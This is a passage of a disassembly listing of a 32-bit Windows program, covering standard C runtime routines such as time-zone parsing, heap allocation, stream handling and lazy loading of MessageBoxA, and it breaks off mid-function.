		xor	eax, eax
		cmp	[ebp+arg_0], ebx
		setnz	al
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	9
		push	dword_469538
		call	dword_421064	; MultiByteToWideChar
		test	eax, eax
		jnz	loc_41E00C
		jmp	short loc_41E05F
sub_41DFCD	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E095	proc near		; CODE XREF: sub_41AD3D+76p
					; sub_41AD3D+88p ...

arg_0		= dword	ptr  4

		cmp	dword_437F7C, 1
		jle	short loc_41E0AC
		push	8
		push	[esp+4+arg_0]
		call	sub_418556
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------

loc_41E0AC:				; CODE XREF: sub_41E095+7j
		mov	eax, [esp+arg_0]
		mov	ecx, off_437D70
		mov	al, [ecx+eax*2]
		and	eax, 8
		retn
sub_41E095	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41E0C0	proc near		; CODE XREF: sub_41AD3D+797p
					; sub_41AD3D+7E7p
		cmp	cl, 40h
		jnb	short loc_41E0DA
		cmp	cl, 20h
		jnb	short loc_41E0D0
		shld	edx, eax, cl
		shl	eax, cl
		retn
; ---------------------------------------------------------------------------

loc_41E0D0:				; CODE XREF: sub_41E0C0+8j
		mov	edx, eax
		xor	eax, eax
		and	cl, 1Fh
		shl	edx, cl
		retn
; ---------------------------------------------------------------------------

loc_41E0DA:				; CODE XREF: sub_41E0C0+3j
		xor	eax, eax
		xor	edx, edx
		retn
sub_41E0C0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E0DF	proc near		; CODE XREF: sub_41B7B3+Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		cmp	ebx, 0FFFFFFFFh
		push	esi
		jz	short loc_41E12B
		mov	esi, [esp+8+arg_4]
		mov	eax, [esi+0Ch]
		test	al, 1
		jnz	short loc_41E0FD
		test	al, 80h
		jz	short loc_41E12B
		test	al, 2
		jnz	short loc_41E12B

loc_41E0FD:				; CODE XREF: sub_41E0DF+14j
		cmp	dword ptr [esi+8], 0
		jnz	short loc_41E10A
		push	esi
		call	sub_41D06C
		pop	ecx

loc_41E10A:				; CODE XREF: sub_41E0DF+22j
		mov	eax, [esi]
		cmp	eax, [esi+8]
		jnz	short loc_41E11A
		cmp	dword ptr [esi+4], 0
		jnz	short loc_41E12B
		inc	eax
		mov	[esi], eax

loc_41E11A:				; CODE XREF: sub_41E0DF+30j
		test	byte ptr [esi+0Ch], 40h
		jz	short loc_41E131
		dec	dword ptr [esi]
		mov	eax, [esi]
		cmp	[eax], bl
		jz	short loc_41E137
		inc	eax
		mov	[esi], eax

loc_41E12B:				; CODE XREF: sub_41E0DF+9j
					; sub_41E0DF+18j ...
		or	eax, 0FFFFFFFFh

loc_41E12E:				; CODE XREF: sub_41E0DF+6Cj
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_41E131:				; CODE XREF: sub_41E0DF+3Fj
		dec	dword ptr [esi]
		mov	eax, [esi]
		mov	[eax], bl

loc_41E137:				; CODE XREF: sub_41E0DF+47j
		mov	eax, [esi+0Ch]
		inc	dword ptr [esi+4]
		and	al, 0EFh
		or	al, 1
		mov	[esi+0Ch], eax
		mov	eax, ebx
		and	eax, 0FFh
		jmp	short loc_41E12E
sub_41E0DF	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E14D	proc near		; CODE XREF: sub_41B7EE:loc_41B82Dp
		cmp	dword_469750, 0
		jnz	short locret_41E161
		call	sub_41E162
		inc	dword_469750

locret_41E161:				; CODE XREF: sub_41E14D+7j
		retn
sub_41E14D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E162	proc near		; CODE XREF: sub_41E14D+9p

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		xor	ebp, ebp
		or	ebx, 0FFFFFFFFh
		push	offset aTz	; "TZ"
		xor	edi, edi
		mov	dword_469698, ebp
		mov	dword_4387C8, ebx
		mov	dword_4387B8, ebx
		call	sub_41F409
		mov	esi, eax
		pop	ecx
		cmp	esi, ebp
		jnz	loc_41E28B
		push	offset dword_4696A0
		call	dword_421158	; GetTimeZoneInformation
		cmp	eax, ebx
		jz	loc_41E3BA
		mov	eax, dword_4696A0
		mov	ecx, dword_4696F4
		imul	eax, 3Ch
		cmp	word_4696E6, bp
		push	1
		pop	edx
		mov	dword_438720, eax
		mov	dword_469698, edx
		jz	short loc_41E1D9
		mov	esi, ecx
		imul	esi, 3Ch
		add	eax, esi
		mov	dword_438720, eax

loc_41E1D9:				; CODE XREF: sub_41E162+69j
		cmp	word_46973A, bp
		jz	short loc_41E1FD
		mov	eax, dword_469748
		cmp	eax, ebp
		jz	short loc_41E1FD
		sub	eax, ecx
		mov	dword_438724, edx
		imul	eax, 3Ch
		mov	dword_438728, eax
		jmp	short loc_41E209
; ---------------------------------------------------------------------------

loc_41E1FD:				; CODE XREF: sub_41E162+7Ej
					; sub_41E162+87j
		mov	dword_438724, ebp
		mov	dword_438728, ebp

loc_41E209:				; CODE XREF: sub_41E162+99j
		lea	eax, [esp+14h+var_4]
		mov	esi, dword_421138
		push	eax
		push	ebp
		push	3Fh
		mov	edi, 220h
		push	off_4387AC
		push	ebx
		push	offset dword_4696A4
		push	edi
		push	dword_469538
		call	esi	; WideCharToMultiByte
		test	eax, eax
		jz	short loc_41E246
		cmp	[esp+14h+var_4], ebp
		jnz	short loc_41E246
		mov	eax, off_4387AC
		and	byte ptr [eax+3Fh], 0
		jmp	short loc_41E24E
; ---------------------------------------------------------------------------

loc_41E246:				; CODE XREF: sub_41E162+D1j
					; sub_41E162+D7j
		mov	eax, off_4387AC
		and	byte ptr [eax],	0

loc_41E24E:				; CODE XREF: sub_41E162+E2j
		lea	eax, [esp+14h+var_4]
		push	eax
		push	ebp
		push	3Fh
		push	off_4387B0
		push	ebx
		push	offset dword_4696F8
		push	edi
		push	dword_469538
		call	esi	; WideCharToMultiByte
		test	eax, eax
		jz	loc_41E3B2
		cmp	[esp+14h+var_4], ebp
		jnz	loc_41E3B2
		mov	eax, off_4387B0
		and	byte ptr [eax+3Fh], 0
		jmp	loc_41E3BA
; ---------------------------------------------------------------------------

loc_41E28B:				; CODE XREF: sub_41E162+2Dj
		cmp	byte ptr [esi],	0
		jz	loc_41E3BA
		mov	eax, dword_46974C
		cmp	eax, ebp
		jz	short loc_41E2AE
		push	eax
		push	esi
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41E3BA

loc_41E2AE:				; CODE XREF: sub_41E162+139j
		push	dword_46974C
		call	sub_415E3D
		push	esi
		call	sub_415CF0
		inc	eax
		push	eax
		call	sub_415DC9
		add	esp, 0Ch
		cmp	eax, ebp
		mov	dword_46974C, eax
		jz	loc_41E3BA
		push	esi
		push	eax
		call	sub_415C00
		push	3
		push	esi
		push	off_4387AC
		call	sub_416D40
		mov	eax, off_4387AC
		add	esi, 3
		add	esp, 14h
		and	byte ptr [eax+3], 0
		cmp	byte ptr [esi],	2Dh
		jnz	short loc_41E303
		push	1
		inc	esi
		pop	edi

loc_41E303:				; CODE XREF: sub_41E162+19Bj
		push	esi
		call	sub_4159D4
		pop	ecx
		mov	bl, 30h
		mov	ecx, eax
		imul	ecx, 0E10h
		mov	dword_438720, ecx

loc_41E31A:				; CODE XREF: sub_41E162+1C7j
		mov	al, [esi]
		cmp	al, 2Bh
		jz	short loc_41E328
		cmp	al, bl
		jl	short loc_41E32B
		cmp	al, 39h
		jg	short loc_41E32B

loc_41E328:				; CODE XREF: sub_41E162+1BCj
		inc	esi
		jmp	short loc_41E31A
; ---------------------------------------------------------------------------

loc_41E32B:				; CODE XREF: sub_41E162+1C0j
					; sub_41E162+1C4j
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_41E37E
		inc	esi
		push	esi
		call	sub_4159D4
		imul	eax, 3Ch
		pop	ecx
		mov	ecx, dword_438720
		add	ecx, eax
		mov	dword_438720, ecx

loc_41E349:				; CODE XREF: sub_41E162+1F2j
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_41E356
		cmp	al, 39h
		jg	short loc_41E356
		inc	esi
		jmp	short loc_41E349
; ---------------------------------------------------------------------------

loc_41E356:				; CODE XREF: sub_41E162+1EBj
					; sub_41E162+1EFj
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_41E37E
		inc	esi
		push	esi
		call	sub_4159D4
		pop	ecx
		mov	ecx, dword_438720
		add	ecx, eax
		mov	dword_438720, ecx

loc_41E371:				; CODE XREF: sub_41E162+21Aj
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_41E37E
		cmp	al, 39h
		jg	short loc_41E37E
		inc	esi
		jmp	short loc_41E371
; ---------------------------------------------------------------------------

loc_41E37E:				; CODE XREF: sub_41E162+1CCj
					; sub_41E162+1F7j ...
		cmp	edi, ebp
		jz	short loc_41E38A
		neg	ecx
		mov	dword_438720, ecx

loc_41E38A:				; CODE XREF: sub_41E162+21Ej
		movsx	eax, byte ptr [esi]
		cmp	eax, ebp
		mov	dword_438724, eax
		jz	short loc_41E3B2
		push	3
		push	esi
		push	off_4387B0
		call	sub_416D40
		mov	eax, off_4387B0
		add	esp, 0Ch
		and	byte ptr [eax+3], 0
		jmp	short loc_41E3BA
; ---------------------------------------------------------------------------

loc_41E3B2:				; CODE XREF: sub_41E162+10Bj
					; sub_41E162+115j ...
		mov	eax, off_4387B0
		and	byte ptr [eax],	0

loc_41E3BA:				; CODE XREF: sub_41E162+40j
					; sub_41E162+124j ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_41E162	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E3C0	proc near		; CODE XREF: sub_41B7EE+A5p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_438724, edi
		jnz	short loc_41E3D4

loc_41E3CD:				; CODE XREF: sub_41E3C0+148j
					; sub_41E3C0+150j ...
		xor	eax, eax
		jmp	loc_41E520
; ---------------------------------------------------------------------------

loc_41E3D4:				; CODE XREF: sub_41E3C0+Bj
		mov	esi, [esp+0Ch+arg_0]
		push	1
		pop	ebx
		mov	eax, [esi+14h]
		cmp	eax, dword_4387B8
		jnz	short loc_41E3F2
		cmp	eax, dword_4387C8
		jz	loc_41E4F4

loc_41E3F2:				; CODE XREF: sub_41E3C0+24j
		cmp	dword_469698, edi
		jz	loc_41E4CA
		movzx	ecx, word_469746
		push	ecx
		cmp	word_469738, di
		movzx	ecx, word_469744
		push	ecx
		movzx	ecx, word_469742
		push	ecx
		movzx	ecx, word_469740
		push	ecx
		jnz	short loc_41E444
		movzx	ecx, word_46973C
		push	edi
		push	ecx
		movzx	ecx, word_46973E
		push	ecx
		movzx	ecx, word_46973A
		push	ecx
		push	eax
		push	ebx
		jmp	short loc_41E458
; ---------------------------------------------------------------------------

loc_41E444:				; CODE XREF: sub_41E3C0+65j
		movzx	ecx, word_46973E
		push	ecx
		push	edi
		movzx	ecx, word_46973A
		push	edi
		push	ecx
		push	eax
		push	edi

loc_41E458:				; CODE XREF: sub_41E3C0+82j
		push	ebx
		call	sub_41E56C
		movzx	eax, word_4696F2
		add	esp, 2Ch
		cmp	word_4696E4, di
		push	eax
		movzx	eax, word_4696F0
		push	eax
		movzx	eax, word_4696EE
		push	eax
		movzx	eax, word_4696EC
		push	eax
		jnz	short loc_41E4B2
		movzx	eax, word_4696E8
		push	edi
		push	eax
		movzx	eax, word_4696EA
		push	eax
		movzx	eax, word_4696E6
		push	eax
		push	dword ptr [esi+14h]
		push	ebx

loc_41E4A7:				; CODE XREF: sub_41E3C0+108j
		push	edi
		call	sub_41E56C
		add	esp, 2Ch
		jmp	short loc_41E4F4
; ---------------------------------------------------------------------------

loc_41E4B2:				; CODE XREF: sub_41E3C0+C8j
		movzx	eax, word_4696EA
		push	eax
		push	edi
		movzx	eax, word_4696E6
		push	edi
		push	eax
		push	dword ptr [esi+14h]
		push	edi
		jmp	short loc_41E4A7
; ---------------------------------------------------------------------------

loc_41E4CA:				; CODE XREF: sub_41E3C0+38j
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	ebx
		push	4
		push	eax
		push	ebx
		push	ebx
		call	sub_41E56C
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	5
		push	0Ah
		push	dword ptr [esi+14h]
		push	ebx
		push	edi
		call	sub_41E56C
		add	esp, 58h

loc_41E4F4:				; CODE XREF: sub_41E3C0+2Cj
					; sub_41E3C0+F0j
		mov	edx, dword_4387BC
		mov	eax, dword_4387CC
		mov	ecx, [esi+1Ch]
		cmp	edx, eax
		jge	short loc_41E524
		cmp	ecx, edx
		jl	loc_41E3CD
		cmp	ecx, eax
		jg	loc_41E3CD
		cmp	ecx, edx
		jle	short loc_41E538
		cmp	ecx, eax
		jge	short loc_41E538

loc_41E51E:				; CODE XREF: sub_41E3C0+166j
					; sub_41E3C0+16Aj
		mov	eax, ebx

loc_41E520:				; CODE XREF: sub_41E3C0+Fj
					; sub_41E3C0+19Dj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_41E524:				; CODE XREF: sub_41E3C0+144j
		cmp	ecx, eax
		jl	short loc_41E51E
		cmp	ecx, edx
		jg	short loc_41E51E
		cmp	ecx, eax
		jle	short loc_41E538
		cmp	ecx, edx
		jl	loc_41E3CD

loc_41E538:				; CODE XREF: sub_41E3C0+158j
					; sub_41E3C0+15Cj ...
		mov	eax, [esi+8]
		imul	eax, 3Ch
		add	eax, [esi+4]
		imul	eax, 3Ch
		add	eax, [esi]
		imul	eax, 3E8h
		cmp	ecx, edx
		jnz	short loc_41E55F
		xor	ecx, ecx
		cmp	eax, dword_4387C0
		setnl	cl

loc_41E55B:				; CODE XREF: sub_41E3C0+1AAj
		mov	eax, ecx
		jmp	short loc_41E520
; ---------------------------------------------------------------------------

loc_41E55F:				; CODE XREF: sub_41E3C0+18Ej
		xor	ecx, ecx
		cmp	eax, dword_4387D0
		setl	cl
		jmp	short loc_41E55B
sub_41E3C0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E56C	proc near		; CODE XREF: sub_41E3C0+99p
					; sub_41E3C0+E8p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 1
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	esi
		jnz	loc_41E607
		mov	eax, [ebp+arg_C]
		mov	[ebp+arg_8], ebx
		and	[ebp+arg_8], 3
		mov	esi, eax
		jnz	short loc_41E597
		shl	esi, 2
		mov	eax, dword_4387D0[esi]
		jmp	short loc_41E5A0
; ---------------------------------------------------------------------------

loc_41E597:				; CODE XREF: sub_41E56C+1Ej
		shl	esi, 2
		mov	eax, dword_438804[esi]

loc_41E5A0:				; CODE XREF: sub_41E56C+29j
		mov	edx, ebx
		lea	ecx, [eax+1]
		imul	edx, 16Dh
		lea	eax, [ebx-1]
		push	edi
		sar	eax, 2
		mov	edi, ecx
		push	7
		add	edi, eax
		lea	eax, [edx+edi-63DBh]
		pop	edi
		cdq
		idiv	edi
		mov	eax, [ebp+arg_10]
		pop	edi
		cmp	edx, [ebp+arg_14]
		jge	short loc_41E5DA
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		lea	ecx, [ecx+eax-7]
		jmp	short loc_41E5E4
; ---------------------------------------------------------------------------

loc_41E5DA:				; CODE XREF: sub_41E56C+5Ej
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		add	ecx, eax

loc_41E5E4:				; CODE XREF: sub_41E56C+6Cj
		cmp	[ebp+arg_10], 5
		jnz	short loc_41E622
		cmp	[ebp+arg_8], 0
		jnz	short loc_41E5F8
		mov	esi, dword_4387D4[esi]
		jmp	short loc_41E5FE
; ---------------------------------------------------------------------------

loc_41E5F8:				; CODE XREF: sub_41E56C+82j
		mov	esi, dword_438808[esi]

loc_41E5FE:				; CODE XREF: sub_41E56C+8Aj
		cmp	ecx, esi
		jle	short loc_41E622
		sub	ecx, 7
		jmp	short loc_41E622
; ---------------------------------------------------------------------------

loc_41E607:				; CODE XREF: sub_41E56C+Cj
		mov	eax, [ebp+arg_C]
		test	bl, 3
		jnz	short loc_41E618
		mov	ecx, dword_4387D0[eax*4]
		jmp	short loc_41E61F
; ---------------------------------------------------------------------------

loc_41E618:				; CODE XREF: sub_41E56C+A1j
		mov	ecx, dword_438804[eax*4]

loc_41E61F:				; CODE XREF: sub_41E56C+AAj
		add	ecx, [ebp+arg_18]

loc_41E622:				; CODE XREF: sub_41E56C+7Cj
					; sub_41E56C+94j ...
		cmp	[ebp+arg_0], 1
		jnz	short loc_41E653
		mov	eax, [ebp+arg_1C]
		mov	dword_4387BC, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		mov	dword_4387B8, ebx
		imul	eax, 3Ch
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	dword_4387C0, eax
		jmp	short loc_41E6A8
; ---------------------------------------------------------------------------

loc_41E653:				; CODE XREF: sub_41E56C+BAj
		mov	eax, [ebp+arg_1C]
		mov	dword_4387CC, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		imul	eax, 3Ch
		add	eax, dword_438728
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	dword_4387D0, eax
		jns	short loc_41E68B
		add	eax, 5265C00h
		dec	ecx
		mov	dword_4387D0, eax
		jmp	short loc_41E69C
; ---------------------------------------------------------------------------

loc_41E68B:				; CODE XREF: sub_41E56C+110j
		mov	edx, 5265C00h
		cmp	eax, edx
		jl	short loc_41E6A2
		sub	eax, edx
		inc	ecx
		mov	dword_4387D0, eax

loc_41E69C:				; CODE XREF: sub_41E56C+11Dj
		mov	dword_4387CC, ecx

loc_41E6A2:				; CODE XREF: sub_41E56C+126j
		mov	dword_4387C8, ebx

loc_41E6A8:				; CODE XREF: sub_41E56C+E5j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41E56C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E6AC	proc near		; CODE XREF: sub_41C7C2+2Bp

arg_0		= dword	ptr  4

		push	4
		push	0
		push	[esp+8+arg_0]
		call	sub_41E6BD
		add	esp, 0Ch
		retn
sub_41E6AC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E6BD	proc near		; CODE XREF: sub_41E6AC+8p

arg_0		= byte ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		movzx	eax, [esp+arg_0]
		mov	cl, [esp+arg_8]
		test	byte_46A9E1[eax], cl
		jnz	short loc_41E6EA
		cmp	[esp+arg_4], 0
		jz	short loc_41E6E3
		movzx	eax, word_437D7A[eax*2]
		and	eax, [esp+arg_4]
		jmp	short loc_41E6E5
; ---------------------------------------------------------------------------

loc_41E6E3:				; CODE XREF: sub_41E6BD+16j
		xor	eax, eax

loc_41E6E5:				; CODE XREF: sub_41E6BD+24j
		test	eax, eax
		jnz	short loc_41E6EA
		retn
; ---------------------------------------------------------------------------

loc_41E6EA:				; CODE XREF: sub_41E6BD+Fj
					; sub_41E6BD+2Aj
		push	1
		pop	eax
		retn
sub_41E6BD	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E6EE	proc near		; CODE XREF: sub_41CF19+11Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		xor	ebx, ebx
		cmp	dword_469754, ebx
		push	esi
		push	edi
		jnz	short loc_41E73D
		push	offset aUser32_dll ; "user32.dll"
		call	dword_4210C0	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_41E773
		mov	esi, dword_4210C4
		push	offset aMessageboxa ; "MessageBoxA"
		push	edi
		call	esi	; GetProcAddress
		test	eax, eax
		mov	dword_469754, eax
		jz	short loc_41E773
		push	offset aGetactivewindo ; "GetActiveWindow"
		push	edi
		call	esi	; GetProcAddress
		push	offset aGetlastactivep ; "GetLastActivePopup"
		push	edi
		mov	dword_469758, eax
		call	esi	; GetProcAddress
		mov	dword_46975C, eax

loc_41E73D:				; CODE XREF: sub_41E6EE+Bj
		mov	eax, dword_469758
		test	eax, eax
		jz	short loc_41E75C
		call	eax
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_41E75C
		mov	eax, dword_46975C
		test	eax, eax
		jz	short loc_41E75C
		push	ebx
		call	eax
		mov	ebx, eax

loc_41E75C:				; CODE XREF: sub_41E6EE+56j
					; sub_41E6EE+5Ej ...
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_4]
		push	[esp+14h+arg_0]
		push	ebx
		call	dword_469754

loc_41E76F:				; CODE XREF: sub_41E6EE+87j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_41E773:				; CODE XREF: sub_41E6EE+1Cj
					; sub_41E6EE+33j
		xor	eax, eax
		jmp	short loc_41E76F
sub_41E6EE	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E777	proc near		; CODE XREF: sub_41D0D6+22p
					; sub_41D0D6+3Bp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		imul	esi, [esp+0Ch+arg_4]
		cmp	esi, 0FFFFFFE0h
		mov	ebx, esi
		ja	short loc_41E797
		test	esi, esi
		jnz	short loc_41E791
		push	1
		pop	esi

loc_41E791:				; CODE XREF: sub_41E777+15j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h

loc_41E797:				; CODE XREF: sub_41E777+11j
					; sub_41E777+65j
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	short loc_41E7C8
		cmp	ebx, dword_437F8C
		ja	short loc_41E7B3
		push	ebx
		call	sub_418E53
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_41E7DE

loc_41E7B3:				; CODE XREF: sub_41E777+2Dj
		push	esi
		push	8
		push	dword_46AB00
		call	dword_42114C	; RtlAllocateHeap
		mov	edi, eax
		test	edi, edi
		jnz	short loc_41E7EA

loc_41E7C8:				; CODE XREF: sub_41E777+25j
		cmp	dword_4694F4, 0
		jz	short loc_41E7EA
		push	esi
		call	sub_418A68
		test	eax, eax
		pop	ecx
		jz	short loc_41E7F0
		jmp	short loc_41E797
; ---------------------------------------------------------------------------

loc_41E7DE:				; CODE XREF: sub_41E777+3Aj
		push	ebx
		push	0
		push	edi
		call	sub_415570
		add	esp, 0Ch

loc_41E7EA:				; CODE XREF: sub_41E777+4Fj
					; sub_41E777+58j
		mov	eax, edi

loc_41E7EC:				; CODE XREF: sub_41E777+7Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_41E7F0:				; CODE XREF: sub_41E777+63j
		xor	eax, eax
		jmp	short loc_41E7EC
sub_41E777	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41D17B

loc_41E7F4:				; CODE XREF: sub_41D17B+Ej
		push	esi
		push	edi
		push	3
		xor	edi, edi
		pop	esi
		cmp	dword_46A7A0, esi
		jle	short loc_41E847

loc_41E803:				; CODE XREF: sub_41D17B+16CAj
		mov	eax, dword_469780
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_41E83E
		test	byte ptr [eax+0Ch], 83h
		jz	short loc_41E822
		push	eax
		call	sub_415B40
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41E822
		inc	edi

loc_41E822:				; CODE XREF: sub_41D17B+1698j
					; sub_41D17B+16A4j
		cmp	esi, 14h
		jl	short loc_41E83E
		mov	eax, dword_469780
		push	dword ptr [eax+esi*4]
		call	sub_415E3D
		mov	eax, dword_469780
		pop	ecx
		and	dword ptr [eax+esi*4], 0

loc_41E83E:				; CODE XREF: sub_41D17B+1692j
					; sub_41D17B+16AAj
		inc	esi
		cmp	esi, dword_46A7A0
		jl	short loc_41E803

loc_41E847:				; CODE XREF: sub_41D17B+1686j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; END OF FUNCTION CHUNK	FOR sub_41D17B

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E84C	proc near		; CODE XREF: sub_41D55A+271p

var_1000	= byte ptr -1000h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_415D70
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		xor	esi, esi
		cmp	ebx, dword_46A8C0
		jnb	loc_41E981
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_46A7C0[eax*4]
		test	byte ptr [eax+ecx*8+4],	1
		jz	loc_41E981
		push	1
		push	esi
		push	ebx
		call	sub_41BB7F
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	loc_41E98B
		push	2
		push	esi
		push	ebx
		call	sub_41BB7F
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_41E98B
		push	edi
		mov	edi, [ebp+arg_4]
		sub	edi, eax
		test	edi, edi
		jle	short loc_41E92E
		push	1000h
		lea	eax, [ebp+var_1000]
		push	esi
		push	eax
		call	sub_415570
		push	8000h
		push	ebx
		call	sub_41F486
		add	esp, 14h
		mov	[ebp+arg_4], eax

loc_41E8E2:				; CODE XREF: sub_41E84C+BDj
		mov	eax, 1000h
		cmp	edi, eax
		jge	short loc_41E8ED
		mov	eax, edi

loc_41E8ED:				; CODE XREF: sub_41E84C+9Dj
		push	eax
		lea	eax, [ebp+var_1000]
		push	eax
		push	ebx
		call	sub_41C42A
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41E90B
		sub	edi, eax
		test	edi, edi
		jle	short loc_41E921
		jmp	short loc_41E8E2
; ---------------------------------------------------------------------------

loc_41E90B:				; CODE XREF: sub_41E84C+B5j
		cmp	dword_469498, 5
		jnz	short loc_41E91E
		mov	dword_469494, 0Dh

loc_41E91E:				; CODE XREF: sub_41E84C+C6j
		or	esi, 0FFFFFFFFh

loc_41E921:				; CODE XREF: sub_41E84C+BBj
		push	[ebp+arg_4]
		push	ebx
		call	sub_41F486
		pop	ecx
		pop	ecx
		jmp	short loc_41E96E
; ---------------------------------------------------------------------------

loc_41E92E:				; CODE XREF: sub_41E84C+71j
		jge	short loc_41E96E
		push	0
		push	[ebp+arg_4]
		push	ebx
		call	sub_41BB7F
		push	ebx
		call	sub_41D4C6
		add	esp, 10h
		push	eax
		call	dword_421010	; SetEndOfFile
		mov	esi, eax
		neg	esi
		sbb	esi, esi
		neg	esi
		dec	esi
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41E96E
		mov	dword_469494, 0Dh
		call	dword_421088	; RtlGetLastWin32Error
		mov	dword_469498, eax

loc_41E96E:				; CODE XREF: sub_41E84C+E0j
					; sub_41E84C:loc_41E92Ej ...
		push	0
		push	[ebp+arg_0]
		push	ebx
		call	sub_41BB7F
		add	esp, 0Ch
		mov	eax, esi
		pop	edi
		jmp	short loc_41E98E
; ---------------------------------------------------------------------------

loc_41E981:				; CODE XREF: sub_41E84C+1Aj
					; sub_41E84C+36j
		mov	dword_469494, 9

loc_41E98B:				; CODE XREF: sub_41E84C+4Ej
					; sub_41E84C+63j
		or	eax, 0FFFFFFFFh

loc_41E98E:				; CODE XREF: sub_41E84C+133j
		pop	esi
		pop	ebx
		leave
		retn
sub_41E84C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E992	proc near		; CODE XREF: sub_41D9C5+2Bp
					; sub_41D9C5+42p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		lea	ecx, [edx+esi]
		cmp	ecx, edx
		jb	short loc_41E9A8
		cmp	ecx, esi
		jnb	short loc_41E9AB

loc_41E9A8:				; CODE XREF: sub_41E992+10j
		push	1
		pop	eax

loc_41E9AB:				; CODE XREF: sub_41E992+14j
		mov	edx, [esp+4+arg_8]
		pop	esi
		mov	[edx], ecx
		retn
sub_41E992	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E9B3	proc near		; CODE XREF: sub_41EA6C+40p
					; sub_41EA6C+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, [esp+8+arg_4]
		push	esi
		push	dword ptr [edi]
		push	dword ptr [esi]
		call	sub_41E992
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41E9E5
		lea	eax, [esi+4]
		push	eax
		push	1
		push	dword ptr [eax]
		call	sub_41E992
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41E9E5
		inc	dword ptr [esi+8]

loc_41E9E5:				; CODE XREF: sub_41E9B3+19j
					; sub_41E9B3+2Dj
		lea	eax, [esi+4]
		push	eax
		push	dword ptr [edi+4]
		push	dword ptr [eax]
		call	sub_41E992
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41E9FD
		inc	dword ptr [esi+8]

